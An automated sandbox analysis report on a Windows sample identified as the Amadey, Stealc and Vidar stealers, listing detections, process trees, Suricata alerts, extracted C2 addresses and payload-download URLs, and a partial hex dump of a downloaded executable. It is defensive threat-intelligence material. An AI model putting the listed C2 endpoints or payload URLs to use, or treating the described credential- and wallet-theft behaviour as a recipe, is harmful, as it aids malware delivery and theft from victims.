Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561380
MD5:	9669088834eac5ce82390081d8ba345e
SHA1:	440930fb6eb8145f1faf1333b735541c93ba8486
SHA256:	099be17313be4a4d993d9491bd4c3153fec62299c8de01b32600e16a1b63cb25
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7040 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 9669088834EAC5CE82390081D8BA345E)

chrome.exe (PID: 5076 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 936 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2148,i,4198706579976940952,3932764698793424289,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7772 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7988 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2288,i,817918641045606747,12257324386537254083,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8780 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEGIDAAFIEH.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsEGIDAAFIEH.exe (PID: 8824 cmdline: "C:\Users\user\DocumentsEGIDAAFIEH.exe" MD5: F2D011251D3B81EE30BD85F4F705152B)

skotes.exe (PID: 9108 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: F2D011251D3B81EE30BD85F4F705152B)

msedge.exe (PID: 8072 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6124 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2492 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7908 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6464 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 4784 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6608 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 7712 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7204 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 2544 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7204 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 7348 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5952 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 8376 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: F2D011251D3B81EE30BD85F4F705152B)

2ae4e7be65.exe (PID: 7992 cmdline: "C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe" MD5: 791373B49F4EE813CD3B2869A62D5E86)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000016.00000003.2761862084.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2772886640.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.3470370097.00000000007B1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.2802363504.00000000007B1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2770252094.0000000000A61000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000003.2729714258.00000000051B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2771239675.0000000000271000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2217451868.0000000004C30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000003.3228389007.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 7040	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7040	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7040	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7040	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
21.2.DocumentsEGIDAAFIEH.exe.a60000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.7b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.7b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7040, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5076, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T09:18:21.984748+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50133	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T09:16:25.460241+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49714	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T09:16:25.337623+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T09:16:25.797009+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T09:16:27.275301+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T09:16:25.929304+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49714	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T09:16:24.805426+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T09:18:06.296767+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50095	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T09:18:20.548428+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50101	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T09:18:10.786906+0100	2803305	3	Unknown Traffic	192.168.2.6	50107	31.41.244.11	80	TCP
2024-11-23T09:18:23.497294+0100	2803305	3	Unknown Traffic	192.168.2.6	50138	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T09:16:28.405775+0100	2803304	3	Unknown Traffic	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T09:16:51.663874+0100	2803304	3	Unknown Traffic	192.168.2.6	49816	185.215.113.206	80	TCP
2024-11-23T09:16:53.798053+0100	2803304	3	Unknown Traffic	192.168.2.6	49816	185.215.113.206	80	TCP
2024-11-23T09:16:55.148720+0100	2803304	3	Unknown Traffic	192.168.2.6	49816	185.215.113.206	80	TCP
2024-11-23T09:16:56.295420+0100	2803304	3	Unknown Traffic	192.168.2.6	49816	185.215.113.206	80	TCP
2024-11-23T09:16:59.995995+0100	2803304	3	Unknown Traffic	192.168.2.6	49816	185.215.113.206	80	TCP
2024-11-23T09:17:01.090165+0100	2803304	3	Unknown Traffic	192.168.2.6	49816	185.215.113.206	80	TCP
2024-11-23T09:17:06.996482+0100	2803304	3	Unknown Traffic	192.168.2.6	49942	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dll1	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpfi	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dll#	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllC	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dllbd	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllM	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000016.00000003.2761862084.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.7040.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.206/68b591d6548ec281/mozglue.dll#	Virustotal: Detection: 21%			Perma Link
Source: http://185.215.113.16/luma/random.exeK	Virustotal: Detection: 14%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	ReversingLabs: Detection: 63%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C976C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C976C80

Source: 2ae4e7be65.exe, 0000001D.00000003.3404788989.0000000007582000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_fe776049-5

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50119 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2801063610.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2801063610.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 31MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50095 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50101
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50133 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 08:16:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 